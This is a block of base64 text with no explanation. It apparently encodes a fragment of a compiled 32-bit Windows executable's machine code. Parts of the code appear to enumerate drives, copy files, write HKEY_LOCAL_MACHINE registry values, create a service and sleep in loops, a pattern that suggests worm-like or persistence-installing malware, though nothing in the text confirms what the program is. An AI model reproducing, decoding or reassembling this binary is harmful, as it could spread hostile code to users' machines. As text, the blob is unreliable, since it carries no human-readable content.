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 